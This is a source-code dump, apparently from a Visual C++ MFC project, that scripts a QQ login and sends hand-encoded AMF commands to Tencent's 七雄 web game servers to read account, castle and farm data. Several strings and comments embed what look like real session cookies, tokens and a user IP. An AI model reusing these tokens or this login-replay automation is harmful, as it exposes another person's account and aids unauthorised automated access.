    //////////////////////////////////////////////////////////////////////////////
    
    strUrl.Format("http://ptlogin2.qq.com/login?u=%s&p=%s&verifycode=%s&aid=39000301&u1=http%%3A%%2F%%2Fgame.7.qq.com/index.shtml&h=1&ptredirect=1&ptlang=2052&from_ui=1&dumy=&fp=loginerroralert&mibao_css=87",strQQid,strEncPsw,pdlg->m_strverify);
    
    
    strHeader.Format("Accept: */*\r\n"\
        "Referer:http://ui.ptlogin2.qq.com/cgi-bin/login?appid=39000301&no_verifyimg=1&f_url=loginerroralert&css=http%%3A//7.qq.com/web201006/jscss/login.css&hide_title_bar=1&s_url=http%%3A//game.7.qq.com/index.shtml\r\n"\
        "Accept-Language: zh-cn\r\n"\
        "UA-CPU: x86\r\n"\
        "Accept-Encoding: gzip, deflate\r\n"\
        "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\r\n"\
        "Host: ptlogin2.qq.com\r\n"\
        "Connection: Keep-Alive\r\n"\
        "Cookie: pgv_info=pgvReferrer=&ssid=%s; verifysession=%s; pgv_pvid=%s; pt2gguin=o0042523276;" 
        "ac=1,024,005; uin_cookie=42523276; euin_cookie=33D430B64B1019F4F91CC0161C0F1392E5FFF434C9116519;"
        "ptui_width=283; ptui_height=266;" 
        "ptcz=49c3d298bfe6e68ee75cc38defbe6a3f28eb62a5ad40f9d68dc992e70470df1d\r\n\r\n",
        strinfo,pdlg->m_strptvfsession,strpvid);    
    
    iret=hrq.SendHTTP(strUrl.GetBuffer(0),strHeader.GetBuffer(0),NULL,0,&req2);
    
    if(!iret)
    {
        strlog.Format("发送图片qq密码成功%s.结果:%s",strQQid,amf_static::UTF8_2_OEM(req2.message));
        pdlg->SetMainFrameLog(strlog,0);
        
    }else
    {
        strlog.Format("发送图片qq密码失败%s.",strQQid);
        pdlg->SetMainFrameLog(strlog,0);
        return -1;
    }
    strRecvHeader=req2.headerReceive;
    CString str1,str2,str3,str4,str5;
    pdlg->Get5LoginCookies(strRecvHeader,str1,str2,str3,str4,str5);
    strlog.Format("pt2gguin=%s;skey=%s;ptisp=%s;ptuserinfo=%s,ptcz==%s",str1,str2,str3,str4,str5);
    pdlg->SetMainFrameLog(strlog,0);
    pdlg->m_strpt2gguin=str1;
    pdlg->m_strskey=str2;
    pdlg->m_strptisp=str3;
    pdlg->m_strptuserinfo=str4;
    pdlg->m_strptcz=str5;
    free(req2.message);
    free(req2.headerReceive);
    
    ////////////////////////////////////////////////////////////////////////////////////////////////////////
    
    
    strUrl="http://login.7.qq.com/cgi-bin/CommWebGame/7X/7XLoginApp.cgi";
    
    CString strdata;
    strdata.Format("sGameKind=7X&sFrom=website&sNewServerId=%s&sOldServerId=",pdlg->m_strDomain);
    pdlg->SetMainFrameLog(  strdata,0);
    
    strHeader.Format("Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,"
        "application/vnd.ms-excel, application/vnd.ms-powerpoint," 
        "application/msword, application/xaml+xml, application/x-ms-xbap," 
        "application/x-ms-application, */*\r\n"
        "Referer: http://7.qq.com/server/indexLogined.shtml\r\n"
        "Accept-Language: zh-cn\r\n"
        "Content-Type: application/x-www-form-urlencoded\r\n"
        "UA-CPU: x86\r\n"
        "Accept-Encoding: gzip, deflate\r\n"
        "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;"
        ".NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.0.04506.648;" 
        ".NET CLR 3.5.21022)\r\n"
        "Host: login.7.qq.com\r\n"
        "Content-Length:%d\r\n"
        "Connection: Keep-Alive\r\n"
        "Cache-Control: no-cache\r\n"                                                                                                                                                                                                                                                                                                                                                                                                                                    
        "Cookie: ied_rf=--; pgv_pvid=8063237839; pgv_info=pgvReferrer=&ssid=s8136754910;" 
        "pt2gguin=%s; uin=%s; skey=%s; ptisp=%s; verifysession=%s\r\n\r\n",strdata.GetLength(),
        pdlg->m_strpt2gguin,pdlg->m_strpt2gguin,pdlg->m_strskey,pdlg->m_strptisp,pdlg->m_strptvfsession);
    
    
    
    strlog.Format("图片登录七雄密钥服务器,要稍等一会儿......");
    pdlg->SetMainFrameLog(strlog,0);
    iret=hrq.SendHTTP(strUrl.GetBuffer(0),strHeader.GetBuffer(0),(BYTE*)strdata.GetBuffer(0),strdata.GetLength(),&req2);
    if(!iret)
    {
        strlog.Format("图片登录七雄密钥服务器成功!%s",req2.message);
        
        
        
    }else
    {
        strlog.Format("图片登录七雄密钥服务器失败!%s",req2.message);
        pdlg->SetMainFrameLog(strlog,0);
        return -1;
    }
    
    strRecvHeader=req2.headerReceive;
    strRecvMessage=req2.message;
    
    CString strTemp,str7Login,strWebsite;
    pdlg->Get3DomainCookies(strRecvHeader,strTemp,str7Login,strWebsite);
    pdlg->SetMainFrameLog(strlog,0);
    pdlg->SetMainFrameLog(strTemp,0);
    pdlg->SetMainFrameLog(str7Login,0);
    pdlg->SetMainFrameLog(strWebsite,0);
    
    free(req2.message);
    free(req2.headerReceive);
    //////////////////////////////////////////////////////////////////////////////////////////////////////  
    int i=strRecvMessage.Find("http");
    int j=strRecvMessage.Find('\'',i);
    CString temp=strRecvMessage.Mid(i,j-i);
    
    strUrl=temp;
    pdlg->SetMainFrameLog(strUrl,0);
    
    
    strHeader.Format("Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,"
        "application/vnd.ms-excel, application/vnd.ms-powerpoint," 
        "application/msword, application/xaml+xml, application/x-ms-xbap," 
        "application/x-ms-application, */*\r\n"
        
        "Accept-Language: zh-cn\r\n"
        "UA-CPU: x86\r\n"
        "Accept-Encoding: gzip, deflate\r\n"
        "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;"
        ".NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.0.04506.648;" 
        ".NET CLR 3.5.21022)\r\n"
        "Host: s%s.jn2.7.qq.com\r\n"
        "Connection: Keep-Alive\r\n"                                                                                                                                                                                                                                                                                                                                                                                                                                 
        "Cookie: ied_rf=--;sTemp=%s;7_fx_login=%s;sFrom=%s;pgv_pvid=8063237839;pgv_info=pgvReferrer=&ssid=s8136754910;" 
        "pt2gguin=%s; uin=%s; skey=%s; ptisp=%s; verifysession=%s\r\n\r\n",pdlg->m_strDomain,strTemp,str7Login,strWebsite,
        pdlg->m_strpt2gguin,pdlg->m_strpt2gguin,pdlg->m_strskey,pdlg->m_strptisp,pdlg->m_strptvfsession);
    
    //Cookie: ied_rf=--; sTemp=website; 7_fx_login=42523276%7C218%2E25%2E62%2E156%7C1309394140%7C0%7C1%7C1%5F6%7C0%5F0%7C0%5F0%7CA4EE68187C793817519654E065208E53; sFrom=website; pgv_pvid=8063237839; pgv_info=pgvReferrer=&ssid=s8136754910; pt2gguin=o0042523276; uin=o0042523276; skey=@QWXW7LGXz; ptisp=cnc; verifysession=h005c500a6784820afad1a526d970fee1c345ea972dbdaaf19f4a3d9595498b434d33600fad45ca8f7aee7547ab05462317
    
    
    iret=hrq.SendHTTP(strUrl.GetBuffer(0),strHeader.GetBuffer(0),NULL,0,&req2,FALSE);
    
    strRecvHeader=req2.headerReceive;
    pdlg->m_strJsessionID=pdlg->GetJsessionId(strRecvHeader);
    if(!iret)
    {
        strlog.Format("图片%s登录七雄服务器%s成功!,结果:%s",pdlg->m_strQQid,pdlg->m_strDomain,pdlg->m_strJsessionID);
        pdlg->SetMainFrameLog(strlog,0);
        
    }else
    {
        strlog.Format("图片%s登录七雄服务器%s失败!,结果:%s",pdlg->m_strQQid,pdlg->m_strDomain,req2.headerReceive);
        pdlg->SetMainFrameLog(strlog,0);
        return -1;
        
    }
    
    
/*  CString FileName="f:\\"+CStaticFunctions::GetCurrentTimeStr()+"Picend.txt";
    CFile file4(FileName,CFile::modeReadWrite|CFile::modeNoTruncate|CFile::modeCreate);
    file4.Write(req2.headerReceive,strlen(req2.headerReceive));
    //写入文件（从当前位置）
    file4.Write(req2.message,req2.messageLength);
    file4.Close();*/
    free(req2.message);
    free(req2.headerReceive);
    
    //构造终级字符串
    pdlg->m_strAmfQuery.Format("Cookie: JSESSIONID=%s; ied_rf=--; sTemp=%s; 7_fx_login=%s; sFrom=%s;"
        "pgv_pvid=%s;pgv_info=pgvReferrer=&ssid=%s;pt2gguin=%s;" 
        "uin=%s; skey=%s; ptisp=%s,verifysession=%s",pdlg->m_strJsessionID,strTemp,str7Login,strTemp,strpvid,
        strinfo,pdlg->m_strpt2gguin,pdlg->m_strpt2gguin,pdlg->m_strskey,pdlg->m_strptisp,pdlg->m_strptvfsession);
    
    C7wAmfCmd::m_strCookies=pdlg->m_strAmfQuery;
    
    
    //准备登录游戏,指令1是否进入游戏
    unsigned char amfcmd1[] ="\x00\x03\x00\x00\x00\x01\x00\x16\x61\x63\x63"
        "\x6F\x75\x6E\x74\x41\x63\x74\x2E\x69\x73\x45\x6E\x74\x65\x72\x47"
        "\x61\x6D\x65\x00\x02\x2F\x31\x00\x00\x00\x05\x0A\x00\x00\x00\x00";
    //获得加密key
    unsigned char amfcmd2[] ="\x00\x03\x00\x00\x00\x01\x00\x16\x61\x63\x63"
        "\x6F\x75\x6E\x74\x41\x63\x74\x2E\x67\x65\x74\x43\x72\x79\x70\x74"
        "\x4B\x65\x79\x00\x02\x2F\x32\x00\x00\x00\x05\x0A\x00\x00\x00\x00";
    //enter game
    unsigned char amfcmd3[] ="\x00\x03\x00\x00\x00\x01\x00\x14\x61\x63\x63"
        "\x6F\x75\x6E\x74\x41\x63\x74\x2E\x65\x6E\x74\x65\x72\x47\x61\x6D"
        "\x65\x00\x02\x2F\x33\x00\x00\x00\x05\x0A\x00\x00\x00\x00";
    
    //得到城堡数据
    unsigned char amfcmd4[]=
        "\x00\x03\x00\x00\x00\x01\x00\x19\x61\x63\x63\x6F\x75\x6E\x74\x41" 
        "\x63\x74\x2E\x67\x65\x74\x55\x73\x65\x72\x43\x61\x73\x74\x6C\x65" 
        "\x73\x00\x02\x2F\x34\x00\x00\x00\x05\x0A\x00\x00\x00\x00";      
    
    //角色注册
    unsigned char amfcmd5[]=
        "\x00\x03\x00\x00\x00\x01\x00\x0B\x63\x68\x61\x74\x41\x63\x74\x2E" 
        "\x72\x65\x67\x00\x02\x2F\x31\x00\x00\x00\x0C\x0A\x00\x00\x00\x01" 
        "\x11\x0C\x09\x32\x05\x61\x55";                            
    
    //获得大地图国家列表
    unsigned char amfcmd6[]=
        "\x00\x03\x00\x00\x00\x01\x00\x15\x6D\x61\x70\x41\x63\x74\x2E\x67"
        "\x65\x74\x43\x6F\x75\x6E\x74\x72\x79\x4C\x69\x73\x74\x00\x02\x2F" 
        "\x35\x00\x00\x00\x05\x0A\x00\x00\x00\x00";                  
    
    //有个信息获取
    
    //列出本国所有建筑列表
    unsigned char amfcmd7[]=
        "\x00\x03\x00\x00\x00\x01\x00\x1C\x63\x61\x73\x74\x6C\x65\x41\x63"
        "\x74\x2E\x6C\x69\x73\x74\x43\x61\x73\x74\x6C\x65\x42\x75\x69\x6C" 
        "\x64\x69\x6E\x67\x00\x02\x2F\x36\x00\x00\x00\x0C\x0A\x00\x00\x00" 
        "\x01\x11\x0C\x09\x30\x8C\xCB\x04";                         
    
    pdlg->_SendAmfCmd(amfcmd1,43,pdlg,"accountAct.isEnterGame");
    pdlg->_SendAmfCmd(amfcmd2,43,pdlg,"accountAct.getCryptKey");
    pdlg->_SendAmfCmd(amfcmd3,41,pdlg,"accountAct.enterGame");
    pdlg->_SendAmfCmd(amfcmd4,46,pdlg,"accountAct.getUserCastles");
    pdlg->_SendAmfCmd(amfcmd5,39,pdlg,"chatAct.reg");
    pdlg->_SendAmfCmd(amfcmd6,42,pdlg,"mapAct.getCountryList");
    pdlg->_SendAmfCmd(amfcmd7,56,pdlg,"castleAct.listCastleBuilding");
    
    
    pdlg->m_bPic=FALSE;
    ::CoUninitialize();
    return -1;

}

CString CLoginDlg::GetJsessionId(CString str)
{
    CString str1;
    int i=str.Find("JSESSIONID");
    int j=str.Find(';',i);  
    
    CString temp=str.Mid(i,j-i+1);
    int m=temp.Find("=");
    int n=temp.Find(";");
    str1=temp.Mid(m+1,n-m-1);
    return str1;
}




void CLoginDlg::OnButton6() 
{
    // TODO: Add your control notification handler code here
        TAG_HTTPRequest req;
    CHttpRequest  hrq;
    int iret;
    CString strurl,strheader,strlog,strRecvHeader;
    
    
    unsigned char amfcmd[] ="\x00\x03"
                "\x00\x00\x00\x01\x00\x19\x63\x68\x61\x74\x41\x63\x74\x2e\x67\x65"
                "\x74\x41\x6c\x6c\x4d\x65\x73\x73\x61\x67\x65\x34\x4e\x65\x77\x00"
                "\x03\x2f\x35\x31\x00\x00\x00\x0B\x0A\x00\x00\x00\x01\x11\x0c\x07"
                "\x32\x03\x31";
    
      

    unsigned char amfcmd2[]=
    "\x00\x03\x00\x00\x00\x01\x00\x16\x63\x61\x73\x74\x6C\x65\x41\x63" 
    "\x74\x2E\x73\x65\x6C\x65\x63\x74\x43\x61\x73\x42\x75\x69\x00\x03" 
    "\x2F\x35\x32\x00\x00\x00\x15\x0A\x00\x00\x00\x02\x11\x0C\x09\x30" 
    "\x8C\xCB\x04\x11\x0C\x0D\x32\x09\x4E\x05\x30\x30";            


    unsigned char amfcmd3[]=
    "\x00\x03\x00\x00\x00\x01\x00\x1C\x75\x73\x65\x72\x46\x61\x72\x6D" 
    "\x41\x63\x74\x2E\x67\x65\x74\x46\x61\x72\x6D\x4D\x65\x73\x4F\x66" 
    "\x55\x73\x65\x72\x00\x04\x2F\x31\x37\x32\x00\x00\x00\x05\x0A\x00" 
    "\x00\x00\x00";                                       




    strurl="http://s645.jn2.7.qq.com/dynasty/messagebroker/amf";
    strheader="Accept: */*\r\n"
        "Accept-Language: zh-CN\r\n"
        "Referer: http://cdn.dl.7.qq.com/dynasty/swf/Loading.swf?039e16b91e52fda64fc733ef45898838\r\n"
        "x-flash-version: 10,2,159,1\r\n"
        "Content-Type: application/x-amf\r\n"
        "Content-Length: 51\r\n"
        "UA-CPU: x86\r\n"
        "Accept-Encoding: gzip, deflate\r\n"
        "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322;" 
        ".NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\r\n"
        "Host: s645.jn2.7.qq.com\r\n"
        "Connection: Keep-Alive\r\n"
        "Cache-Control: no-cache\r\n";
    //"Cookie: JSESSIONID=6256631021B487A3D1CF987C0994A909; ied_rf=--; sTemp=website; 7_fx_login=42523276%7C218%2E25%2E62%2E156%7C1309411916%7C0%7C1%7C1%5F6%7C0%5F0%7C0%5F0%7CAC33477220FD7668BA142948506AA343; sFrom=website; pgv_pvid=233851696; pgv_info=pgvReferrer=&ssid=s7645323644; verifysession=h00beff5c2251fb4e3df8355081df9246b28d471eec5209d96dcf6a894aaaa25d657d6c6c7dbb4656bb6eba49a749d5e0e3; pt2gguin=o0042523276; uin=o0042523276; skey=@QWXW7LGXz; ptisp=cnc\r\n\r\n";
    //"Cookie: JSESSIONID=DE95FBBF9FF0ACA22E1028F65CB67345; pgv_info=pgvReferrer=&ssid=s2340214185; ac=1,024,005; uin_cookie=42523276; euin_cookie=C489F4FACE744BFE5539A20A833903088F212735FC443E87; o_cookie=42523276;1736350552 pgv_pvid=5042252466; pgv_flv=10.0; o0042523276pgv_r_cookie=116296226613;@QWXW7LGXz ptisp=cnc; pt2gguin=o0042523276; uin=o0042523276; skey=@QWXW7LGXz; IED_LOG_INFO=uin*42523276|nick*Terry%20|time*1309389542; ied_rf=--; sTemp=website; 7_fx_login=42523276%7C218%2E25%2E62%2E156%7C1309389562%7C0%7C1%7C1%5F6%7C0%5F0%7C0%5F0%7CAFB45EF1CA02ACE15E8D73B567FCE090; sFrom=website\r\n\r\n";
    //"Cookie: JSESSIONID=1496AE8D7F875654A5FF9A22145734C8; ied_rf=ab; sTemp=website; 7_fx_login=42523276%7C218%2E25%2E62%2E156%7C1309392023%7C0%7C1%7C1%5F6%7C0%5F0%7C0%5F0%7CFEDAC60ABB06803CAD298335470A0749; sFrom=website; pgv_pvid=abc; pgv_info=pgvReferrer=&ssid=abc; pt2gguin=abc; uin=abc; skey=abcd; ptisp=abc; IED_LOG_INFO=abcdefg\r\n\r\n";
    
    strheader=strheader+m_strAmfQuery+"\r\n\r\n";
    iret=hrq.SendHTTP(strurl.GetBuffer(0),strheader.GetBuffer(0),amfcmd3,51,&req);
    if(!iret)
    {
        strlog.Format("发送指令成功.结果:%s",req.headerReceive);
        SetMainFrameLog(strlog,0);
        
    }else
    {
        strlog.Format("发送指令成功.结果:%s.",req.headerReceive);
        SetMainFrameLog(strlog,0);
    }

    CString FileName="f:\\"+CStaticFunctions::GetCurrentTimeStr()+"Responsex.txt";
    CFile file(FileName,CFile::modeReadWrite|CFile::modeNoTruncate|CFile::modeCreate);
//  file.Write(req.headerReceive,strlen(req.headerReceive));
    //写入文件（从当前位置）
    file.Write(req.message,req.messageLength);
    file.Close();

    strRecvHeader=req.headerReceive;
    BOOL bgzip;
    int i=0;
    CString xx;
    if(strRecvHeader.Find("gzip")>0)
    {
        bgzip=TRUE;

        for(i=0;i<req.messageLength;i++)
        {
            if(((BYTE)*(req.message+i)==0x1F)&&((BYTE)*(req.message+i+1)==0x8B))
            {
                break;
            }
            
    }

    }else
    {
        bgzip=FALSE;

    }
    CMainFrame *pfm=(CMainFrame *)AfxGetMainWnd();


    C7wAmfCmd::_Decode7WAmfCmd((BYTE *)req.message+i,req.messageLength-i,bgzip,pfm);

    free(req.message);
    free(req.headerReceive);
    
}

UINT CLoginDlg::_SaveLogFile(TAG_HTTPRequest *req)
{
    m_ucount++;
    CString temp;
    temp.Format("loginres%d",m_ucount);
    CString FileName="f:\\"+CStaticFunctions::GetCurrentTimeStr()+temp;
    CFile file(FileName,CFile::modeReadWrite|CFile::modeNoTruncate|CFile::modeCreate);
    file.Write(req->headerReceive,strlen(req->headerReceive));
    //写入文件（从当前位置）
    file.Write(req->message,req->messageLength);
    file.Close();
    return -1;
}

UINT CLoginDlg::_SendAmfCmd(BYTE *pbuf, UINT ulen,CLoginDlg *pdlg,CString strcmd)
{   
    
    //正常验证过程
    CString strUrl,strHeader,strlog;
    TAG_HTTPRequest req;
    CHttpRequest  hrq;
    int iret;
    strUrl.Format("http://s%s.jn2.7.qq.com/dynasty/messagebroker/amf",pdlg->m_strDomain);
        
        

    strHeader.Format("Accept: */*\r\n"
        "Accept-Language: zh-CN\r\n"
        "Referer: http://cdn.dl.7.qq.com/dynasty/swf/Loading.swf?039e16b91e52fda64fc733ef45898838\r\n"
        "x-flash-version: 10,2,159,1\r\n"
        "Content-Type: application/x-amf\r\n"
        "Content-Length: %d\r\n"
        "UA-CPU: x86\r\n"
        "Accept-Encoding: gzip, deflate\r\n"
        "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322;" 
        ".NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\r\n"
        "Host: s%s.jn2.7.qq.com\r\n"
        "Connection: Keep-Alive\r\n"
        "Cache-Control: no-cache\r\n",ulen,pdlg->m_strDomain);
    
    strHeader=strHeader+pdlg->m_strAmfQuery+"\r\n\r\n";
    iret=hrq.SendHTTP(strUrl.GetBuffer(0),strHeader.GetBuffer(0),pbuf,ulen,&req);
    if(!iret)
    {
        strlog.Format("发送%s指令成功,结果:%s",strcmd,req.headerReceive);
        pdlg->SetMainFrameLog(strlog,0);
        _SaveLogFile(&req);

        if(strcmd=="accountAct.getUserCastles")
        {
            _GetCastleId(&req);
        }



    }else
    {
        strlog.Format("发送%s指令成功,结果:%s",strcmd,req.headerReceive);
        pdlg->SetMainFrameLog(strlog,0);
    }
    
    free(req.message);
    free(req.headerReceive);
    
    return -1;

}

UINT CLoginDlg::_GetCastleId(TAG_HTTPRequest *req)

{

    int ilen=req->messageLength;
    BYTE   *pBuf=(BYTE  *)malloc(sizeof(BYTE)*ilen);//开辟缓冲区 
    memcpy(pBuf,req->message,ilen);

    CByteArray *parray;


    for(int i=0;i<ilen;i++)
    {
        if((*(pBuf+i)==0x1F)&&(*(pBuf+i+1)==0x8B))
        {
            break;
        }
        
    }
    int j=ilen-i;
    BYTE   *pBuf2=(BYTE  *)malloc(sizeof(BYTE)*j);//开辟缓冲区 
    memcpy(pBuf2,pBuf+i,j);
    free(pBuf);


    CString strlog;
    parray=new CByteArray();
    parray->SetSize(j);
    DWORD dwlen=amf_static::_DeGzip(pBuf2,parray,j);
    
    if(dwlen<=j)
    {
        strlog.Format("解析失败[%d/%d]",ilen,dwlen);
        return -1;
    
    }

    TAG_context ctx;
    amf_object::init_context(&ctx,NULL,NULL);
    TAG_IoData* io = new TAG_IoData();
    
    io->buflen=parray->GetSize();
    io->buf=(unsigned char*)malloc(io->buflen);
    ::memcpy(io->buf,parray->GetData(),io->buflen);
    io->pos = 0;
    ctx.m_IFileHandle =io;
    //字节数组释放掉
    parray->RemoveAll();
    
    //选跳过头部
    amf_static::read_head(&ctx);
    //准备解析amf3数据,并树形控制件上进行显示
    
    
    amf_object_handle aoh=amf_static::read_elem(&ctx);
    TAG_IoData* iox=(TAG_IoData* )ctx.m_IFileHandle;
    if(iox->pos==io->buflen)
    {
        AfxMessageBox("成功解析amf");
    }
    else    
    {
        strlog.Format("解析结果:%d,%d",iox->pos,io->buflen);
        AfxMessageBox(strlog);
    }

    CMainFrame *pfm=(CMainFrame *)AfxGetMainWnd();

    CString strdata;
    pfm->m_pFun1LeftView->_InsertRootItem();
    amf_static::_DumpAmf(aoh,pfm->m_pFun1LeftView->m_hRoot,pfm->m_pFun1LeftView->GetTreeCtrl(),strdata);
    pfm->m_pFun1LeftView->GetTreeCtrl().Expand(pfm->m_pFun1LeftView->m_hRoot,TVE_EXPAND);
    amf_object::clear_context(&ctx);

//  CString FileName="f:\\"+CStaticFunctions::GetCurrentTimeStr()+"castleid";
//  CFile file(FileName,CFile::modeReadWrite|CFile::modeNoTruncate|CFile::modeCreate);
//  file.Write(parray->GetData(),parray->GetSize());
//  file.Close();



return -1;
}







源码/LoginDlg.h

//{{AFX_INCLUDES()

#include "webbrowser2.h"

//}}AFX_INCLUDES

#if !defined(AFX_LOGINDLG_H__71ECC048_6C7B_4B9F_8BF4_0C568C9D2391__INCLUDED_)

#define AFX_LOGINDLG_H__71ECC048_6C7B_4B9F_8BF4_0C568C9D2391__INCLUDED_



#if _MSC_VER > 1000

#pragma once

#endif // _MSC_VER > 1000

// LoginDlg.h : header file

//

#include "ScriptObject.h"

#include "HttpRequest.h"

/////////////////////////////////////////////////////////////////////////////

// CLoginDlg dialog



class CLoginDlg : public CDialog

{

// Construction

public:

	UINT _GetCastleId(TAG_HTTPRequest *req);

	static UINT m_ucount;

	UINT _SendAmfCmd(BYTE *pbuf,UINT ulen,CLoginDlg *pdlg,CString strcmd);

	static UINT _SaveLogFile(TAG_HTTPRequest *req);

	CString GetJsessionId(CString str);

	UINT	Get3DomainCookies(CString str,CString &str1,CString &str2,CString &str3);

	UINT	Get5LoginCookies(CString str,CString &str1,CString &str2,CString &str3,CString &str4,CString &str5);

	CString GetEncPsw(CString strPsw,CString strVfy);

	void	SetMainFrameLog(CString log,int state);

	HBITMAP LoadALLPIC(CString strFileName);

	CString GetVerifySession(CString strQQid);

	CString GetPgv_Info(CString strcookie);

	CString GetPgv_Pvid(CString strcookie);

	CString GetCookie();

	CString GetLoginParam(CString str);

	CString GetUiKey(CString str);

	CString GetPtvSession(CString str);

	void	GetVerifyStr(CString str,CString& str1,CString& str2);

	CLoginDlg(CWnd* pParent = NULL);   // standard constructor

	static DWORD WINAPI _NormalThreadProc(LPVOID lpParam);

	static DWORD WINAPI _PictureThreadProc(LPVOID lpParam);	

// Dialog Data

	//{{AFX_DATA(CLoginDlg)

	enum { IDD = IDD_DIALOG5 };

	CEdit	m_edit3;

	CStatic	m_static;

	CEdit	m_edit4;

	CEdit	m_edit2;

	CEdit	m_edit1;

	//}}AFX_DATA





// Overrides

	// ClassWizard generated virtual function overrides

	//{{AFX_VIRTUAL(CLoginDlg)

	protected:

	virtual void DoDataExchange(CDataExchange* pDX);    // DDX/DDV support

	virtual void PostNcDestroy();

	virtual void OnCancel();

	//}}AFX_VIRTUAL



// Implementation

protected:

	CString m_strptvfsession;

	CString m_strverify;

	CString m_strQQid;

	BOOL    m_bPic;

	CString m_strpt2gguin;

	CString m_strskey;

	CString m_strptisp;

	CString m_strptuserinfo;

	CString m_strptcz;



	CString m_strDomain;

	CString m_strJsessionID;



	CString m_strAmfQuery;



	// Generated message map functions

	//{{AFX_MSG(CLoginDlg)

	afx_msg void OnButton1();

	afx_msg void OnButton2();

	virtual BOOL OnInitDialog();

	afx_msg BOOL OnEraseBkgnd(CDC* pDC);

	afx_msg void OnButton6();

	//}}AFX_MSG

	DECLARE_MESSAGE_MAP()

};



//{{AFX_INSERT_LOCATION}}

// Microsoft Visual C++ will insert additional declarations immediately before the previous line.



#endif // !defined(AFX_LOGINDLG_H__71ECC048_6C7B_4B9F_8BF4_0C568C9D2391__INCLUDED_)









源码/macros.h

#ifndef _UTILITY_MACRO_H

#define _UTILITY_MACRO_H



//////////////////////////////////////////////////////////////////////////////////////////////



#ifndef SAFE_DELETE

#define SAFE_DELETE(p)					{if(p != NULL) { delete (p);     (p) = NULL; } }   //Delete object by New create 

#endif



#ifndef SAFE_DELETEA	

#define SAFE_DELETEA(p)					{if(p != NULL) { delete[] (p);   (p) = NULL; } }   //Delete Arrary

#endif



#ifndef SAFE_RELEASE

#define SAFE_RELEASE(p)					{if(p != NULL) { (p)->Release(); (p) = NULL; } }

#endif



#ifndef SAFE_FREE

#define SAFE_FREE(p)					{if(p != NULL) { free(p); (p) = NULL; } }

#endif



#ifndef CheckPointer

#define CheckPointer(pointer,hr)		{if(pointer == NULL) return hr;};

#endif



#ifndef FALSE_RETURN

#define FALSE_RETURN(bRes,hr)			{if(bRes == FALSE) return hr;};

#endif



#ifndef FALSE_GOTO

#define FALSE_GOTO(bRes,Lable)			{if(bRes == FALSE) goto Lable;};

#endif



#ifndef SAFE_CLOSE_HANDLE

#define SAFE_CLOSE_HANDLE(handle)		{if(handle != NULL) {CloseHandle(handle);handle = NULL;}};

#endif



#endif







源码/MainFrm.cpp



    
    
    源码/MainFrm.cpp
    
    


源码/MainFrm.cpp// MainFrm.cpp : implementation of the CMainFrame class
//

#include "stdafx.h"
#include "7QW.h"
#include "TopView.h"
#include "EndView.h"
#include "MainFrm.h"
#include "amf_static.h"
#include "amf_object.h"
#include "LoginDlg.h"
#include "7wAmfCmd.h"
#include "StaticFunctions.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

/////////////////////////////////////////////////////////////////////////////
// CMainFrame

IMPLEMENT_DYNCREATE(CMainFrame, CFrameWnd)

BEGIN_MESSAGE_MAP(CMainFrame, CFrameWnd)
    //{{AFX_MSG_MAP(CMainFrame)
    ON_WM_CREATE()
    ON_WM_SIZE()
    ON_COMMAND(ID_TEST, OnTest)
    ON_COMMAND(ID_AMF3_DECODE, OnAmf3Decode)
    ON_COMMAND(IDM_MENU_LOGIN, OnMenuLogin)
    ON_COMMAND(ID_AMF3_DECODE2, OnAmf3Decode2)
    //}}AFX_MSG_MAP
    ON_MESSAGE(WM_LOGINDLG_DESTORYED,OnLoginDestroyed)
END_MESSAGE_MAP()

static UINT indicators[] =
{
    ID_SEPARATOR,           // status line indicator
    ID_INDICATOR_CAPS,
    ID_INDICATOR_NUM,
    ID_INDICATOR_SCRL,
};

/////////////////////////////////////////////////////////////////////////////
// CMainFrame construction/destruction

CMainFrame::CMainFrame()
{
    // TODO: add member initialization code here
    
}

CMainFrame::~CMainFrame()
{
}

int CMainFrame::OnCreate(LPCREATESTRUCT lpCreateStruct)
{
    if (CFrameWnd::OnCreate(lpCreateStruct) == -1)
        return -1;
    
    if (!m_wndToolBar.CreateEx(this, TBSTYLE_FLAT, WS_CHILD | WS_VISIBLE | CBRS_TOP
        | CBRS_GRIPPER | CBRS_TOOLTIPS | CBRS_FLYBY | CBRS_SIZE_DYNAMIC) ||
        !m_wndToolBar.LoadToolBar(IDR_MAINFRAME))
    {
        TRACE0("Failed to create toolbar\n");
        return -1;      // fail to create
    }

    if (!m_wndStatusBar.Create(this) ||
        !m_wndStatusBar.SetIndicators(indicators,
          sizeof(indicators)/sizeof(UINT)))
    {
        TRACE0("Failed to create status bar\n");
        return -1;      // fail to create
    }

    // TODO: Delete these three lines if you don't want the toolbar to
    //  be dockable
    m_wndToolBar.EnableDocking(CBRS_ALIGN_ANY);
    EnableDocking(CBRS_ALIGN_ANY);
    DockControlBar(&m_wndToolBar);

    return 0;
}

BOOL CMainFrame::PreCreateWindow(CREATESTRUCT& cs)
{
    if( !CFrameWnd::PreCreateWindow(cs) )
        return FALSE;
    // TODO: Modify the Window class or styles here by modifying
    //  the CREATESTRUCT cs

    return TRUE;
}

/////////////////////////////////////////////////////////////////////////////
// CMainFrame diagnostics

#ifdef _DEBUG
void CMainFrame::AssertValid() const
{
    CFrameWnd::AssertValid();
}

void CMainFrame::Dump(CDumpContext& dc) const
{
    CFrameWnd::Dump(dc);
}

#endif //_DEBUG

/////////////////////////////////////////////////////////////////////////////
// CMainFrame message handlers


